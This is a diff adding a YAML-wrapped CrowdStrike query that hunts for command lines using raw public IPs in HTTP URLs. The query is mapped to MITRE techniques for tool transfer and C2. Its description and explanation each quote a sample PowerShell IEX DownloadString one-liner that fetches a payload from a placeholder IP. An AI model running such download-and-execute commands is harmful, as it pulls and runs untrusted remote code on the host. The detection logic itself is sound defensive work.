|
| 1 | +# --- Query Metadata --- |
| 2 | +# Human-readable name for the query. Will be displayed as the title. |
| 3 | +name: Detection of External Direct IP Usage in CommandLine Windows and Mac |
| 4 | + |
| 5 | +# MITRE ATT&CK technique IDs |
| 6 | +mitre_ids: |
| 7 | + - T1105 |
| 8 | + - T1059 |
| 9 | + - T1071.001 |
| 10 | + |
| 11 | +# Description of what the query does and its purpose. |
| 12 | +# Using the YAML block scalar `|` allows for multi-line strings. |
| 13 | +description: | |
| 14 | + Detection of External Direct IP Usage |
| 15 | + This query detects Windows processes that utilize raw public IP addresses within HTTP/HTTPS URLs in their command-line arguments (e.g., powershell -c IEX(New-Object Net.WebClient).DownloadString('http://1.2.3.4/payload')). |
| 16 | + |
| 17 | + This behavior is highly suspicious because legitimate software typically uses domain names (DNS). Attackers often use direct public IPs to host second-stage payloads or C2 servers to bypass DNS filtering and logging mechanisms. |
| 18 | + |
| 19 | +# The author or team that created the query. |
| 20 | +author: sathishds |
| 21 | + |
| 22 | +# The required log sources to run this query successfully in Next-Gen SIEM. |
| 23 | +# This will be displayed in the UI to inform the user. |
| 24 | +log_sources: |
| 25 | + - Endpoint |
| 26 | + |
| 27 | +# Tags for filtering and categorization. |
| 28 | +# Include relevant techniques, tactics, or platforms. |
| 29 | +tags: |
| 30 | + - Hunting |
| 31 | + - Detection |
| 32 | + |
| 33 | +# --- Query Content --- |
| 34 | +# The actual CrowdStrike Query Language (CQL) code. |
| 35 | +# Using the YAML block scalar `|` allows for multi-line strings. |
| 36 | +cql: | |
| 37 | + in(#event_simpleName, values=["ProcessRollup2","SyntheticProcessRollup2"]) |
| 38 | + | CommandLine=*http* event_platform!="Lin" |
| 39 | + // Basline to exclude legitimate process | !in(field="ParentBaseFileName", values=//["UmbrellaDiagnostic.exe","HPClickExe","Eagle" ,"HPClick.exe"]) |
| 40 | + //| !in(field="FileName", values=["Google Chrome","chrome.exe"]) |
| 41 | + //| !in(field="CommandLine", values=["Google Chrome.app"]) |
| 42 | + | regex("(?<Urlink>\\bhttps?://\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}.*\\/\\b)", field=CommandLine) |
| 43 | + | regex("(?<Ipaddress>\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})", field=Urlink) |
| 44 | + | !cidr(Ipaddress, subnet=["224.0.0.0/4", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "169.254.0.0/16", "168.63.0.0/16", "0.0.0.0/8"]) |
| 45 | + | // Basline to exclude legitimate url !in(field="Urlink", values=[ |
| 46 | + // Basline to exclude legitimate url "http://100.1.1.1" |
| 47 | + ]) |
| 48 | + | default(field=GrandParentBaseFileName, value="Unknown") |
| 49 | + | rootURL := "https://falcon.crowdstrike.com/" |
| 50 | + | ProcessStartTime := round(ProcessStartTime) |
| 51 | + | processStart:=formattime(field=ProcessStartTime, format="%m/%d %H:%M:%S") |
| 52 | + // If Context Process ID is available utilize it, if not utilize Target Process ID |
| 53 | + | case{ ContextProcessId ="*" | ContextId:=ContextProcessId; TargetProcessId="*" | ContextId:=TargetProcessId} |
| 54 | + // Create URLs for Process and Graph Explorers |
| 55 | + | format("[ProcessExplorer]%sinvestigate/process-explorer/%s/%s?_cid=%s", field=["rootURL", "aid", "ContextId", "cid"], as="ProcessExplorer") |
| 56 | + | format("[GraphExplorer]%sgraphs/process-explorer/graph?id=pid:%s:%s", field=["rootURL", "aid", "TargetProcessId"], as="GraphExplorer") |
| 57 | + // Format Execution Details for easy analysis |
| 58 | + | format(format="%s\n\t↳ %s[ppid=%s]\n\t\t↳ %s [pid=%s|raw_pid=%s|start=%s]\n\t\t\t%,.100s[...TRIMMED]\n\t\t\t%s\n\t\t\t%s\n---", field=[GrandParentBaseFileName, ParentBaseFileName, ParentProcessId, ImageFileName, TargetProcessId, RawProcessId, processStart, CommandLine, ProcessExplorer, GraphExplorer], as="ExecutionSummary") |
| 59 | + // Group by Source Host |
| 60 | + | groupBy([ComputerName],function=([count(aid, as=executeCount), min(@timestamp, as=firstSeen), max(@timestamp, as=lastSeen), collect([UserName,ExecutionSummary,Ipaddress,ParentBaseFileName,ParentProcessId,ImageFileName,TargetProcessId], limit=1000)])) |
| 61 | + | firstSeen:=formattime(field=firstSeen, format="%Y/%m/%d %H:%M:%S") |
| 62 | + | lastSeen:=formattime(field=lastSeen, format="%Y/%m/%d %H:%M:%S") |
| 63 | + |
| 64 | +# Explanation of the query. |
| 65 | +# Using the YAML block scalar `|` allows for multi-line strings. |
| 66 | +# Uses markdown for formatting on the webpage. |
| 67 | +explanation: | |
| 68 | + Query Description: Detection of External Direct IP Usage |
| 69 | + This query detects Windows processes that utilize raw public IP addresses within HTTP/HTTPS URLs in their command-line arguments (e.g., powershell -c IEX(New-Object Net.WebClient).DownloadString('http://1.2.3.4/payload')). |
| 70 | + |
| 71 | + This behavior is highly suspicious because legitimate software typically uses domain names (DNS). Attackers often use direct public IPs to host second-stage payloads or C2 servers to bypass DNS filtering and logging mechanisms. |
| 72 | + |
| 73 | + Key Logic Breakdown |
| 74 | + Scope & Filter: |
| 75 | + |
| 76 | + Targets Windows process creation events (ProcessRollup2). |
| 77 | + |
| 78 | + Filters for command lines containing http. |
| 79 | + |
| 80 | + Exclusions: Removes known noisy applications (e.g., Chrome, HP Click, Umbrella) to reduce false positives. |
| 81 | + |
| 82 | + Extraction (Regex): |
| 83 | + |
| 84 | + It scans the command line to extract a URL specifically formatted with an IPv4 address (e.g., http://x.x.x.x/...). |
| 85 | + |
| 86 | + It isolates the IP address from that URL into a field called Ipaddress. |
| 87 | + |
| 88 | + Public IP Validation: |
| 89 | + |
| 90 | + It uses !cidr(...) to exclude all standard private and reserved IP ranges (Localhost, 10.x, 192.168.x, 172.16.x, APIPA, etc.). |
| 91 | + |
| 92 | + This ensures the query only alerts on Public/External IPs. |
| 93 | + |
| 94 | + Formatting & Triage: |
| 95 | + |
| 96 | + It generates a clickable ExecutionSummary that includes the Parent Process, the Target Image, and the specific Command Line. |
| 97 | + |
| 98 | + It generates direct links (ProcessExplorer, GraphExplorer) to the Falcon console for immediate investigation. |
| 99 | + |
| 100 | + Aggregation: The results are grouped by ComputerName, showing how many times the event occurred and the first/last time it was seen. |
0 commit comments